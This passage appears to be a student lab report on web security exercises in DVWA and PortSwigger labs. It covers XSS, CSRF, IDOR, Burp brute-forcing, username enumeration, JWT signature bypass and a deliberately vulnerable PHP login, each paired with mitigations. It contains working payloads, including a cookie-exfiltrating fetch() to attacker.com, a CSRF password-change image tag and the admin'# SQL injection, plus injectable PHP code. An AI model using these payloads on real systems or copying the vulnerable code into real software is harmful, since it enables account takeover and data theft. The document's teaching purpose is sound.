d036457b0ace34c91cfe7f5621673070.png

Step 4: The comment form was completed with the following values before clicking Post Comment:

81e64d3ac520dfb69ec345ed1d4dbffe.png

Step 5: Following submission, the page displayed “Thank you for your comment! Your comment has been submitted.” Simultaneously, the PortSwigger banner updated to Solved, indicating that the stored script executed the moment the post page was loaded.

ebee52c768654f7a449879e1281608d0.png

Step 6: Returning to the blog post, the comment posted under “xss relect | 22 May 2026” was visible in the comments list, and the stored script re-triggered the alert dialog displaying 1. 2456c06905267f69de564096195ee378.png 77b4ebe7a23ac1bac3be93d56cf7703a.png



Steps

Step 1: The DVWA machine was deployed on TryHackMe (IP: [target-IP]). After navigating to the home page and logging in, the sidebar showed available modules including XSS (Reflected), XSS (Stored), and XSS (DOM).

1f664e24a9d429aee6dc161633e5526e.png

e1b507e9855bf2be69854aa0a793a0a3.png

Step 2: Selecting XSS (Reflected) from the sidebar loaded a page with a “What’s your name?” input field, with the security level at Low. The payload <script>alert(document.cookie)</script> was entered and Submit was clicked.

ca0840b6f314b70754be05823431d181.png

Step 3: An alert dialog appeared in the browser showing the complete cookie string: PHPSESSID=ajea7b9ps9b0selb8evv427db1; security=low.

d2e6d8fcd158c28ef34a0a50948d0a91.png


Lab 4: DVWA XSS (Reflected) Medium Security (Encoding Bypass Attempt)

Steps

Step 1: The DVWA Security Level was raised to Medium through the DVWA Security menu. XSS (Reflected) was revisited and the same payload <script>alert(document.cookie)</script> was submitted.

Step 2: No alert fired; instead, the page displayed the text Hello alert(document.cookie) in red, indicating that the <script> tags had been stripped while the inner content was still reflected as plain text.

ba1997b972b110dc09904a58c08cf4ca.png

Step 3: Using View Source at the bottom of the page, the PHP source for medium.php exposed the defence mechanism: str_replace('<script>', '', $_GET['name']). While this strips the literal <script> string from the input prior to rendering, it applies no encoding or sanitisation to any other HTML.

b12399c3dbbe09f138e215c5e26b312f.png


Field Value
Cookie string from document.cookie PHPSESSID=ajea7b9ps9b0selb8evv427db1; security=low

Weaponised Attack Explanation

In a real attack, the alert(1) payload would be replaced with a fetch() call that silently exfiltrates the victim’s session cookie to an attacker-controlled server. For example:

1
<script>fetch('https://attacker.com/steal?c=' + document.cookie);</script>

For reflected XSS, the attacker would craft a malicious URL containing the payload in the query string and trick the victim into clicking it (e.g., via a phishing email). When the victim’s browser requests the page, the server reflects the script back and the browser executes it, sending the cookie to the attacker.

For stored XSS, the payload is injected once (e.g., via a comment form) and persists in the database. Every user who subsequently visits that page automatically executes the script no social engineering per victim is required. Once the attacker receives the session cookie, they can paste it into their own browser using DevTools (Application → Cookies), bypassing the login entirely and impersonating the victim.


Where XSS Failed (Medium Security)

Input Field Tested Encoding Applied Why It Prevented XSS
XSS (Reflected) – name field str_replace('<script>', '', input) literal <script> tag removed; inner content reflected as plain text (Hello alert(document.cookie)) The <script> opening and closing tags were stripped before the value was echoed into the page, so the browser never received a complete script element to execute. No HTML encoding was applied only a naive string replacement.

Output Encoding Summary

Output encoding converts user-supplied data into a safe form before it is placed into an HTML page, ensuring the browser renders it as text rather than interpreting it as executable markup. If a server skips output encoding, an attacker can introduce HTML tags or script blocks that the browser will treat as executable code.

The five HTML characters that require encoding at all times are:

Character HTML Entity Risk if unencoded
< &lt; Opens HTML tags / script blocks
> &gt; Closes HTML tags
& &amp; Starts HTML entities (can be chained)
' &#x27; Breaks out of single-quoted attribute values
" &quot; Breaks out of double-quoted attribute values

Encoding these five characters prior to rendering any user-controlled data guarantees that injected content appears as plain text and cannot be interpreted as HTML or JavaScript by the browser.

4C CSRF Attack Demonstration and IDOR Exploitation

Steps

Step 1: With DVWA’s security level at Low, I opened CSRF and right-clicked the password change form to inspect its page source, noting the form’s action URL and field names.

f50d7d25afbd6f14aef7f4a5e3766b4f.png

Step 2: The form’s action URL resolved to the current page http://[target-IP]/vulnerabilities/csrf/ (denoted by #), with the method set to GET and field names password_new, password_conf, and Change.

Step 3: A file named csrf.html was created locally, embedding an <img> tag whose src attribute held the complete DVWA CSRF URL with the target password set via GET parameters (password_new=hacked&password_conf=hacked&Change=Change). Rendering the image tag causes the browser to silently dispatch the GET request.

4b78bf960a0bf34abcf381c60077ce83.png

Step 4: With the DVWA session active in one tab, csrf.html was opened in a second tab of the same browser. A broken image icon appeared on the page, indicating the request had been dispatched. Inspecting the DevTools Network tab revealed that the request to the CSRF endpoint returned a 302 Found redirect to login.php, confirming the password change was executed.

6df970a3c6a85f7db064afdff5d45b44.png

Step 5: To confirm the attack, I navigated to the DVWA Brute Force page and authenticated with username admin and password hacked. The URL displayed ?username=admin&password=hacked and the page returned “Welcome to the password protected area admin”, verifying that the password had been changed without any interaction from the victim.

bfd313fe4bf02eb7f47d542c238f402a.png

Step 6: To demonstrate IDOR, the DVWA SQL Injection module was used to submit user IDs 1 through 6 sequentially in the User ID field, with each returned username recorded.

229a93b9ecad4c471d9b9bd0e5e8c214.png 4234add8d225bba44dc784af759301db.png a8d8a5ed20bbe6403f65ba7392dc0d1a.png 230ec2bd6898618b963144a5b9699c57.png


CSRF Attack Details

Field Value
Form action URL http://[target-IP]/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#
Hidden field names used password_new, password_conf, Change
New password set hacked
Attack outcome Password changed successfully; login with admin:hacked confirmed (302 redirect observed)

IDOR Enumeration Results

User ID First Name Surname
1 admin admin
2 Gordon Brown
3 Hack Me
4 Pablo Picasso
5 Bob Smith
6 (no result ID does not exist)  

CSRF vs IDOR Comparison Table

  CSRF IDOR
How it works Tricks an authenticated user’s browser into sending a forged request to a trusted site without their knowledge. The server executes the action because the session cookie is automatically included. An attacker directly manipulates a reference (e.g. a URL parameter like ?id=2) to access objects belonging to other users, because the server doesn’t verify ownership.
Enabling condition No CSRF token or SameSite cookie protection; the sensitive action uses a predictable GET/POST request that can be crafted externally. The application exposes direct references to internal objects (IDs, filenames) and performs no server-side authorisation check on whether the requester owns the resource.
Mitigation Use unpredictable CSRF tokens tied to the user’s session; enforce SameSite=Strict or SameSite=Lax on session cookies; validate the Referer/Origin header. Implement server-side authorisation checks on every object access; use indirect references (e.g. mapped UUIDs) instead of sequential IDs; deny by default.

Week 5: Authentication, Authorization, and Session Management


5A Brute-Force Login Attack with Burp Suite Intruder

Steps

Step 1: With security set to Low, I opened the Brute Force module in DVWA and launched Burp Suite with Intercept turned ON.

807a3840f9068ed3b78baeac25fde96f.png

Step 2: Using admin for both the username and password fields, I clicked Login. Burp intercepted the request. The captured GET request was: GET /vulnerabilities/brute/?username=admin&password=admin&Login=Login HTTP/1.1

d3c747ca724dc7f3f4bee5855db94e7b.png

Step 3: I right-clicked the intercepted request and chose Send to Intruder (Ctrl+I), routing it to Intruder for automated attack setup.

b1708fc01c28a32e16fcc12497134ccf.png

Step 4: Inside the Intruder Positions tab, I removed all automatically set positions, selected the password parameter value (admin), and pressed Add § to designate it as the injection point. The request updated to show password=§admin§.

58ac87fd63d9ff175fd971ae8a2fe9ff.png

Step 5: Switching to the Payloads tab, I verified the type was Simple list, then used Load… to import the fasttrack wordlists wordlist file. The list filled with 263 entries, including values such as Spring2017, Spring2021, spring2021, Summer2021, summer2021, Autumn2021, autumn2021, Fall2021, fall2021, and more.

6a941554202e54c229d5995b0a64f4a2.png

Step 6: I clicked Start Attack and Burp Intruder proceeded to send GET requests, iterating through every password in the list. Partway through (38 of 263 complete), every response was returning status 200 with a length of 4738 or 4739.

7b7c2d041e18f2fdacc63fdf80d48c95.png

Step 7: Once the attack finished (148 of 263 shown at the time of the screenshot), request #106 with payload password stood out — its response length of 4777 was noticeably longer than the 4739 baseline for failed logins. Opening that result and checking the Response tab revealed the text: “Welcome to the password protected area admin”.

By comparison, request #96 carrying payload testing123 had a length of 4739 and the response body read “Username and/or password incorrect.”

34211f7458b43b5d639c0ef2957fcae0.png

Step 8: This confirmed that password was the valid password for the admin account.


Attack Results

Field Value
Total attempts made 263
Correct password found password
How correct response differed Response length was 4777 vs baseline 4739 for failed logins (38 bytes larger); response body contained “Welcome to the password protected area admin” instead of “Username and/or password incorrect.”

Mitigations Against Brute-Force

  1. Rate Limiting: Login attempts from a single IP address should be capped within a defined time window (e.g. no more than 5 per minute). When the threshold is crossed, the server triggers a temporary block or CAPTCHA challenge, rendering automated tools like Burp Intruder prohibitively slow.

  2. Account Lockout: Once a set number of consecutive failed attempts is reached (e.g. 5), the account should be locked either temporarily or permanently, requiring administrator intervention or an email reset link to restore access. This places a hard ceiling on the number of guesses an attacker can attempt, independent of attack speed.

  3. Multi-Factor Authentication (MFA): Should an attacker manage to guess the correct password, MFA demands a second verification factor (e.g. a time-based one-time password from an authenticator app or an SMS code) that the attacker cannot obtain, making the compromised credential alone insufficient to gain entry.


5B PortSwigger Authentication Vulnerability Labs


Lab 1 Username Enumeration via Different Responses

Difficulty: Apprentice Status: Solved

Objective

Enumerate a valid username by observing different error message wording in the login response, then brute-force the password to access the account page.

Steps

Step 1: Navigated to the lab at portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses. According to the lab description, the application is susceptible to username enumeration and password brute-force attacks using the supplied candidate wordlists. 87dfa7ca625ca845bcbdbdb7fee350ae.png

Step 2: Went to the lab’s /login page and submitted a test set of credentials (carlos / password) to capture the resulting POST request in Burp Suite Proxy. The intercepted request body read username=carlos&password=password, confirming the login endpoint and parameter names. d2785b220477908977c018d1a83c0036.png f05328a1dffcc3a0f59b56d98fce6c7f.png

Step 3: Right-clicked the intercepted POST /login request in Burp Proxy and chose Send to Intruder (Ctrl+I). Inside Intruder, the carlos value in the request body was selected and Add § was clicked to set it as the payload position, keeping the attack type as Sniper. ca58855d15dd610e6323728b134ae394.png 3f1f8eceecdbaa0017c2aa50bab653a5.png

Step 4: In the Payloads tab, the 101-entry candidate username list (carlos, root, admin, test, guest, info, adm, mysql, user, administrator…) was pasted into the Simple list payload configuration. 020b3dc480e28780421c9c33025419d5.png

Step 5: The attack was launched. As results arrived, the table was sorted by the Length column. Every failed response returned length 3352 with Invalid username in the body. One result stood apart — payload affiliate (request 40) came back with length 3354 and a response time of 191ms, distinguishing it from all other entries. d85415e4d08b14feca7cf02ca9356a13.png

Step 6: Examining the response for affiliate revealed Incorrect password in the body rather than Invalid username. This established affiliate as a valid account. The differing error messages were disclosing account existence to any observer. bcb0c02d643396dd40ec3ca93a126a80.png 15abfc3433939c40ec02f8fb5814745b.png Step 7: In a new Intruder tab, the request was updated to username=affiliate&password=§password§, shifting the payload position onto the password field. The payload list was cleared and replaced with the 100-entry candidate password list (123456, password, 12345678, qwerty…). b5ccd2f39c1ee754a31bf579f1e0cb3c.png

Step 8: The password brute-force attack was started. After sorting by Length, all 200-status responses showed length 3354. A single result stood out — payload maggie (request 71) returned HTTP 302 Found with length 191, and the Location header pointed to /my-account?id=affiliate, confirming the login succeeded and a redirect occurred. 12247ec7940bc4414582cfaccb699977.png

Step 9: In the browser, the lab was loaded and credentials affiliate / maggie were entered. The My Account panel appeared displaying:

Your username is: affiliate
Your email is: [email protected]

00cc26d713958aa3b3992a7820e895cf.png

The lab banner updated to Solved.


Lab 1 Key Observation

The vulnerability is the difference in error messages:

Condition Message shown
Username does not exist Invalid username
Username exists, wrong password Incorrect password

This one-word discrepancy makes it straightforward to identify valid accounts in bulk by comparing response bodies or lengths.


Lab 2 Username Enumeration via Subtly Different Responses

Difficulty: Practitioner Status: Solved

Objective

The objective matches Lab 1, but here the application tries to return a consistent error message. The discrepancy is a missing trailing full stop — subtle enough that visual inspection will not catch it. Burp Intruder’s Grep-Extract technique is needed to surface the anomaly.

Steps

Step 1: Opened the Lab 2 description page for Username enumeration via subtly different responses. Compared to Lab 1 (Apprentice), this lab is rated Practitioner, indicating that the observable difference would be far less obvious. 75ef4eefa314bd2eebc0b98a7e95d238.png

Step 2: After accessing the lab, the /login page was loaded. Invalid credentials (admin / password) were submitted to trigger an error response. The page showed: Invalid username or password. — appearing word-for-word the same whether the username was real or not. 787420d88c96f24734adcd5130ccbb71.png

Step 3: The message wording was verified through Burp Proxy HTTP history — the POST /login response body consistently showed Invalid username or password. with no discernible variation. An initial Intruder attack (attack #8) was run as a baseline; all 101 responses came back with status 200 and lengths of approximately 3462–3464, with nothing distinguishable in the results table. bf84635cbf9c6123cac117f27a76b125.png

Step 4: A fresh POST /login request was re-intercepted (by submitting admin / password again with Intercept enabled), right-clicked, and forwarded to Intruder. The payload position was placed on the username value: username=§admin§&password=password. fa45d5f8c9f2aa33b0ff958cd9de28d4.png Step 5: In the Payloads tab, loaded the 101-entry candidate username list. Step 6: Before launching, navigated to Settings → Grep - Extract. Clicked Add to define a grep extraction rule. In the response preview panel, selected the text Invalid username or password (the exact warning text inside the <p class=is-warning> tag), which auto-populated:

  • Start after expression: -warning>
  • End at delimiter: </p>\n

Clicking OK confirmed the rule. A new column was added to the results table displaying the exact extracted string from each response’s warning paragraph — making any difference in trailing punctuation or whitespace immediately apparent. a2bfe6549069050dbe2694f088ebaea4.png

Step 7: The Intruder attack (attack #2) was launched. As results populated, sorting by the -warning> column showed that every entry read Invalid username or password. (with a trailing full stop). One entry broke the pattern — payload access (request 21) showed Invalid username or password (no trailing full stop), with length 3443 and response time 225ms. 8256b4f0ccea37e768b3e7bee595192e.png Step 8: Clicking request 21 confirmed it: the extracted warning text read Invalid username or password (without the period), while every other response had Invalid username or password.. The request body showed username=access&password=password.

Step 9: The Intruder request was updated with the confirmed username: username=access&password=§password§. The payload list was cleared and the 100-entry candidate password list was loaded in its place. e67ea20eef57b8ec34482d075b5a928c.png

Step 10: In Settings, added a Grep - Match rule with the full password wordlist entries to flag responses matching known passwords (optional signal layer).

Step 11: The password brute-force attack (attack #6) was launched. Sorting by Status code showed that all 200-status responses had length 3443 and a -warning> value of Invalid username or pass.... One result was different — payload baseball (request 12) returned HTTP 302 Found with length 188, no warning text, and Location: /my-account?id=access in the response headers. 2236c2eaa1a2f13eda76595f19654887.png Step 12: Inspecting request 12 showed: username=access&password=baseball, status HTTP/2 302 Found, redirect destination Location: /my-account?id=access, and a new session cookie was issued. 3c9736585257f69655f3e2a6384de14c.png Step 13: The browser was used to log in with access / baseball. The My Account page loaded successfully, showing:

Your username is: access
Your email is: [email protected]

2234cb6f9e8249d5f122f448a851fc9e.png The lab banner updated to Solved.


Lab Summary

Lab Observable Difference Requests Made Valid Credentials Found
Username enumeration via different responses Invalid username vs Incorrect password different message text visible in raw response 101 (username) + 100 (password) affiliate / maggie
Username enumeration via subtly different responses Invalid username or password vs Invalid username or password. trailing full stop missing for valid username 101 (username) + 100 (password) access / baseball

Developer Fix Standardised Error Messages

Preventing username enumeration requires the application to return an identical error message in every case, regardless of whether the supplied username actually exists. Both code paths — username not found, and username found but password incorrect — must produce response bodies that are byte-for-byte identical, down to punctuation, whitespace, and letter casing. Eliminating any variation removes the signal an attacker needs to tell the two failure states apart.

Additional hardening measures include:

  • Returning the same HTTP status code for all failed login attempts (always 200, never a redirect or different code on partial match)
  • Using constant-time comparison for both username lookup and password verification to prevent timing-based enumeration
  • Rate-limiting login attempts per IP and per account to slow brute-force even if enumeration is somehow possible

Timing-Based Enumeration

Even when error messages are made word-for-word identical, an attacker can still identify valid usernames through response timing. For a non-existent username, the application typically short-circuits the attempt without performing any password hash computation. For a username that does exist, the application must look up the stored hash and execute a comparison (e.g. bcrypt), which is deliberately slow. The result is a measurable timing gap: responses for valid usernames arrive slightly later than those for invalid ones.

Within Burp Intruder, the Response received column captures the elapsed time in milliseconds between sending the request and receiving the first byte of the response. After running a username enumeration attack, sorting by this column exposes outliers — entries with elevated response times correspond to valid usernames that triggered the password hashing path.

The remedy is to always run the complete password hash computation, even when the username lookup returns nothing — typically by comparing against a dummy hash — so that every response takes the same amount of time regardless of whether the username is registered in the system.


5C JWT Token Inspection and Vulnerability Exploitation


Objective

The goal was to inspect, decode, and exploit JSON Web Token (JWT) vulnerabilities on a deliberately vulnerable PortSwigger Web Security Academy lab — specifically, circumventing authentication by altering the JWT payload without a valid signature, then using that elevated access to carry out an administrative action.


Tools Used

  • Burp Suite Community Edition v2026.4.3
  • JWT Editor (BApp Store extension Dolph Flynn, Fraser Winterborn, v2.6.1)
  • jwt.io debugger
  • Firefox (proxied through Burp)

Steps

Step 1: I opened portswigger.net/web-security/jwt and selected the lab titled JWT authentication bypass via unverified signature. The lab description explained that the server relies on JWT-based sessions but performs no signature verification on incoming tokens. The task was to tamper with the session token to gain access to /admin and delete the user carlos.

dfd956bc2550c32f45513c58dde2cf96.png

Step 2: I reviewed the lab description in full. The supplied credentials were wiener:peter, and the lab tip suggested getting comfortable with JWT handling in Burp Suite first. After launching the lab instance, the “We Like to Blog” homepage was presented.

00c6a63061b6a40a51eb82a4469ec639.png

Step 3: I went to the /login page and authenticated with the supplied credentials (wiener / peter) while Burp’s proxy was capturing traffic.

bc85ace9fb35b64e373b0bf3b322d226.png

Step 4: Following login, I reviewed Burp’s HTTP History and located the GET /my-account?id=wiener request (HTTP 200). Selecting it and checking the Inspector panel on the right, Burp decoded the session cookie and surfaced the JWT header: {"kid": "d8725344-578b-455a-8925-243442a2eba0", "alg": "RS256"} — confirming the token is signed with RS256 (asymmetric algorithm).

4563b8c52fe8bf53143ecaa66b06deec.png

Step 5: The full JWT value was copied from the session cookie and pasted into jwt.io. The debugger broke it down into:

  • Header: { "kid": "d8725344-578b-455a-8925-243442a2eba0", "alg": "RS256" }
  • Payload: { "iss": "portswigger", "exp": 1779540319, "sub": "wiener" }

This established that the sub (subject) claim identifies the logged-in user as wiener, and that the token uses RS256 for signing.

516e999a6b84a3870445a53f013a6c60.png

Step 6: Returning to Burp HTTP History, I revisited the GET /my-account?id=wiener request. The Inspector panel displayed the JWT payload as {"iss":"portswigger","exp":1779540319,"sub":"wiener"} — matching what jwt.io had already decoded.

ccfeaa96d9877a8cd516ba09532fd8a4.png

Step 7: The JWT Editor extension was installed from the BApp Store (Dolph Flynn, Fraser Winterborn v2.6.1, updated Apr 23, 2026). The extension integrates a JSON Web Token tab into Burp’s message editor, enabling signing, verification, encryption, and attack operations without leaving Burp.

6dcd1f038a62a11afeff8b91282871e6.png

Step 8: The GET /my-account?id=wiener request was forwarded to Burp Repeater. Inside the Repeater tab, the JSON Web Token tab added by JWT Editor was visible, displaying the full JWT split into its Header, Payload, and Signature components. The Information panel showed the token’s expiration as Sat May 23 2026 05:45:19 GMT-7.

ab069885070dcb30f85fff319be86e4b.png

Step 9: Switching to the Pretty view in Repeater confirmed the complete JWT was present in the Cookie: session= header, and the request was correctly targeting /my-account?id=wiener.

c6d164ed727368224c362ea99f13d81a.png

Step 10: Using the JSON Web Token tab, I edited the Payload by changing "sub": "wiener" to "sub": "administrator". The iss field was left as portswigger and exp remained untouched. The signature was kept as the original RS256 bytes — I deliberately did not re-sign the token. The central question was whether the server would accept a JWT whose payload had been tampered with and whose signature was therefore invalid.

8701ccd510123d022bbd36f123400d02.png

Step 11: After making the payload edit in the JSON Web Token tab, I switched back to the Pretty view. The Inspector panel on the right decoded the relevant cookie section from Base64, showing {"iss":"portswigger","exp":1779540319,"sub":"administrator"} — confirming the change had carried through into the serialised cookie value. I clicked Apply changes.

bbf23b7936a05f4991d35d81f900169a.png

Step 12: The modified request was sent from Repeater and the server responded with HTTP 200. Reviewing the HTTP History, the GET /my-account?id=wiener request carrying the edited JWT (shown as “1 JWTs, 0 JWEs” in the Notes column) had returned a 200 — confirming the server accepted the tampered token with no signature validation.

Step 13: A second Repeater tab was opened (Tab 2) to attempt reaching the admin endpoint by setting the JWT’s sub claim to administrator on the /my-account?id=wiener request. The JSON Web Token tab reflected the modified payload, but this approach led nowhere — accessing /my-account with a forged administrator subject does not redirect to the admin panel, as that endpoint serves individual account pages rather than administrative functions.

Step 14: Attempting the same modification again showed the Inspector decoding the payload as "sub":"administrator", but the response confirmed this route was a dead end. The raw \r\n characters visible in the Inspector’s selected text also indicated a serialisation artefact introduced by the JWT Editor at this point.

Step 15: The JWT itself was otherwise well-formed — the clean Pretty view displayed the cookie correctly and the Inspector decoded the payload without error. Since the actual target was /admin rather than /my-account, the right approach was to intercept a request bound for /admin and modify the JWT at that point.

Step 16: Burp’s Intercept was enabled and /admin was navigated to directly in the browser. A GET request to /admin was captured, carrying a fresh session JWT (with kid: 41840ea0-7254-4daf-a970-b20a0526c1f4). The payload still showed "sub": "wiener", which I changed to "administrator" before forwarding the request.

4bcfebe65f84b2401707745082f75800.png

Step 17: In the JSON Web Token tab for the intercepted /admin request, "sub": "wiener" was updated to "sub": "administrator" and the request was forwarded. This was the right place to intercept — the server checks the JWT’s sub claim on the /admin route to determine whether the session holds admin privileges.

43e28da26a6e55fed27bdf6f223e137e.png

Step 18: The browser rendered /admin. A Users panel listed both wiener and carlos, each accompanied by a Delete link. The navigation bar now included an Admin panel link, confirming the server had accepted the forged token and recognised the session as belonging to an administrator. The browser’s status bar revealed the delete URL: /admin/delete?username=carlos.

4ddbafd075c025c4c9a4a6fec6b42301.png

Step 19: The Delete link next to carlos was clicked. Burp Intercept captured the resulting GET request to /admin/delete?username=carlos. The JSON Web Token tab for the intercepted request still showed "sub": "administrator", and the request was forwarded.

5601eff6932ca9807b7d93d391325ad6.png

Step 20: The lab banner changed to “Congratulations, you solved the lab!” and the status badge updated from Not solved to Solved. The page body still read “Admin interface only available if logged in as an administrator”, but the lab objective — deleting carlos — had already been accomplished through the intercepted and forged request.

ccdee3e243d9a17ef1b13ef9acbfaa6b.png

Step 21: With Intercept still active, a subsequent GET to /admin was made. The JWT in the JSON Web Token tab was again updated to "sub": "administrator" in the payload before forwarding, to verify that admin access persisted after the deletion.

d460134e1d67c8195a15c761eed7cb4a.png

Step 22: The /admin page loaded and displayed “User deleted successfully!” The user carlos was gone from the list, leaving only wiener. The lab was fully completed.

582f11b2ebe74ebe7438b1544d5f7f1b.png


JWT Components Observed

Component Value
Algorithm (alg) RS256 (initial); none (alg:none attack attempt)
Key ID (kid) d8725344-578b-455a-8925-243442a2eba0 (first session); 41840ea0-7254-4daf-a970-b20a0526c1f4 (intercepted session)
Issuer (iss) portswigger
Subject (sub) wiener (original) → administrator (modified)
Expiry (exp) 1779540319 (approx. Sat May 23 2026 05:45–06:11 GMT-7)
Signature valid after modification? No server accepted the tampered token regardless (unverified signature vulnerability)

JWT Vulnerability Summary

Vulnerability Description Impact
Unverified signature The server accepts JWTs without cryptographically verifying the signature, meaning any client can tamper with the payload freely Full authentication bypass any user can impersonate any other user, including administrators, without knowing the private key
alg:none attack An attacker sets "alg": "none" in the header and removes the signature portion; some servers accept this as a valid unsigned token If the server honours alg:none, signature validation is completely disabled full privilege escalation with no cryptographic barrier
Weak secret If a symmetric algorithm (e.g. HS256) is used with a short or guessable secret, the secret can be brute-forced offline using tools like Hashcat against a known JWT An attacker who recovers the secret can forge arbitrary tokens that pass signature verification
Missing expiration JWTs without an exp claim remain valid indefinitely once issued Stolen tokens never expire, giving an attacker a permanent session with no forced logout
Sensitive data in payload JWT payload is only Base64-encoded, not encrypted claims such as sub, iss, and any custom fields are readable by anyone who possesses the token Information disclosure; internal identifiers, roles, or email addresses in the payload are exposed to any party that intercepts or receives the token

Server-Side Sessions vs JWT Comparison Table

Feature Server-Side Sessions JWT
Storage location Server (database or memory); client holds only an opaque session ID Client-side (cookie or Authorization header); server is stateless and holds no session data
Revocation possible Yes server can invalidate a session ID immediately at any time Difficult token remains valid until expiry unless the server maintains a blocklist, which reintroduces statefulness
Scalability Lower every request requires a server-side lookup to validate the session ID Higher stateless; any server node can independently validate the token without shared session storage
Sensitive data risk Low the session ID is opaque and reveals nothing; all data stays on the server Higher the payload is Base64-encoded and fully readable; must never contain secrets, passwords, or sensitive PII
Signature requirement Not applicable the session ID is a random opaque reference with no cryptographic content Essential without proper signature generation and verification, payload claims are completely untrustworthy and trivially forgeable

Observations and Analysis

Accepting JWTs without verifying the signature — the core flaw in this lab — ranks among the most critical implementation mistakes possible in a JWT-based system. The entire security guarantee of a JWT rests on the signature. Because the three-part structure (header.payload.signature) makes the payload readable rather than secret, the signature is what makes it tamper-evident. Skipping verification removes that assurance entirely, leaving the JWT as nothing more than an unprotected claim that any client can freely fabricate.

Executing the attack demanded no cryptographic knowledge or key material — only Base64 decoding, a single text edit ("sub": "wiener""sub": "administrator"), and re-encoding. Burp’s JWT Editor made this straightforward through its inline payload editor, though the same result is achievable with any standard Base64 utility.

The alg:none variant (Step 23) is a related but separate issue: servers that trust the alg field in the token header and accept none as a legitimate algorithm are effectively letting clients disable signature verification on demand. This flaw originally surfaced in several JWT libraries that followed the specification too literally.

The proper fix is to hard-code the accepted algorithm on the server side and validate the signature against a key that the server controls — never allowing the incoming token to dictate which algorithm should be used.


Conclusion

The JWT authentication bypass via unverified signature on the PortSwigger Web Security Academy lab was successfully exploited. By intercepting the session cookie in Burp Suite, changing the sub claim from wiener to administrator with the JWT Editor extension, and forwarding the forged token, access to the /admin panel was obtained and the user carlos was deleted, completing the lab.

The exercise made clear that JWT security hinges entirely on rigorous server-side signature verification. A server that omits this step offers no meaningful authentication guarantee, regardless of the algorithm named in the token header. The alg:none attack structure was also observed, which takes advantage of servers that honour the header’s algorithm field and thereby accept unsigned tokens.

Lab status: Solved

Week 6: Threat Prevention Techniques and Secure Coding


6A From Vulnerable to Secure: Fixing a PHP Login Form


Overview

This lab involved building a deliberately vulnerable PHP login form, exploiting it to demonstrate the flaw, and then correcting it using prepared statements. Input validation was added as well, along with a side-by-side comparison explaining what was changed and the reasoning behind each fix.


Steps

Step 1 Writing the Vulnerable Login Script

After installing XAMPP and starting both Apache and MySQL, I created login_vulnerable.php inside C:\xampp\htdocs\ and wrote a PHP form that reads a username and password from a POST request and feeds them directly into a SQL query with zero sanitisation: 9564067ef68301fee771c5b043dc9c45.png 96ef037e6e30059bc23abac56682d01d.png

1
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $_POST['password'] . "'";

This approach is insecure. Because user input is concatenated directly into the query string, anyone can manipulate the SQL simply by entering the right characters into the form fields.


Step 2 Setting Up the Test Database

phpMyAdmin was opened at http://localhost/phpmyadmin, a database named logindb was created, and the following SQL was run to create the users table and insert a test account:

1
2
3
4
5
6
7
8
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(50) NOT NULL
);

INSERT INTO users (username, password) VALUES ('admin', 'password123');
INSERT INTO users (username, password) VALUES ('wiener', 'peter');

87acd65fc37768571963888669630c50.png A normal login with admin / password123 was then tested and succeeded, returning a green “Login Successful” message.

a10a9d1ee78f71d78ea59bea37b866be.png


Step 3 Exploiting It with SQL Injection

Here is where things break down. Entering admin'# as the username with any random password and clicking Login produced an immediate successful authentication — no valid password required.

What the server actually executed was:

1
SELECT * FROM users WHERE username='admin'# AND password='anything'

In MySQL/MariaDB, # begins a comment, causing everything that follows — including the password check — to be discarded. The database simply finds a row for admin and returns it.

Note: The admin'-- payload did not function here because MariaDB requires a space after -- for it to be treated as a comment. The # character serves as a cleaner alternative.

7ef6be8d37fd99aa32a34b675b5ff532.png f4252cee08ee6253d5bc65b55713aab0.png


Step 4 Rewriting It with Prepared Statements

The login_vulnerable.php file was updated and the database query was rewritten using PDO prepared statements:

1
2
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $_POST['username'], 'password' => $_POST['password']]);

The critical change is that the query structure is established first, and user input is supplied separately as bound parameters. The database engine treats that input as raw data, so it cannot be interpreted as SQL regardless of what the user submits.


Step 5 Testing the Secure Version

The same admin'# payload was tested against login_vulnerable.php. Login was rejected, as expected.

This time the payload was handled as a literal string — the database searched for a user whose username was literally admin'#, which does not exist.

3fb62079e12c34638eb2a2db95e4ff95.png d6ea05d671636026c9dbf523e29d24f8.png


Step 6 Adding Input Validation

In addition to prepared statements, a regex check was inserted before the query is reached at all:

1
2
3
if (!preg_match('/^[a-zA-Z0-9]{1,50}$/', $_POST['username'])) {
    die('Invalid username format.');
}

Any username that is not entirely alphanumeric or exceeds 50 characters is rejected outright. Characters such as ', #, -, spaces, or other special characters are blocked before the input ever reaches the database.

d6ea05d671636026c9dbf523e29d24f8.png


Vulnerable vs Secure Key Differences

Vulnerable Code Secure Code What the Change Prevents
String concatenation: "...'" . $_POST['username'] . "'" PDO prepared statement with named placeholder :username SQL injection user input can no longer manipulate the query structure
No input validation preg_match('/^[a-zA-Z0-9]{1,50}$/', ...) regex check Malformed or suspicious input reaching the database at all
Raw user input in query Input passed as bound parameter after query is compiled Even if prepared statements had a flaw, the input is still sanitised
Password check bypassable via comment injection Password always checked as a bound parameter Authentication bypass via '-- or '# comment tricks
Error messages expose raw SQL Errors handled gracefully Information disclosure attackers can’t see the query structure

Full Source Code

login_vulnerable.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$conn = mysqli_connect("localhost", "root", "", "logindb");
mysqli_report(MYSQLI_REPORT_OFF); // disable exceptions to show failed queries

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // VULNERABLE: directly concatenating user input into SQL query
    $query = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";

    $result = mysqli_query($conn, $query);

    if ($result && mysqli_num_rows($result) > 0) {
        echo "<h2 style='color:green'>Login Successful! Welcome, " . $username . "</h2>";
    } else {
        echo "<h2 style='color:red'>Login Failed!</h2>";
        echo "<p>Query used: " . $query . "</p>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Vulnerable Login</title>
</head>
<body>
    <h1>Vulnerable Login Form</h1>
    <form method="POST">
        Username: <input type="text" name="username"><br><br>
        Password: <input type="text" name="password"><br><br>
        <input type="submit" value="Login">
    </form>
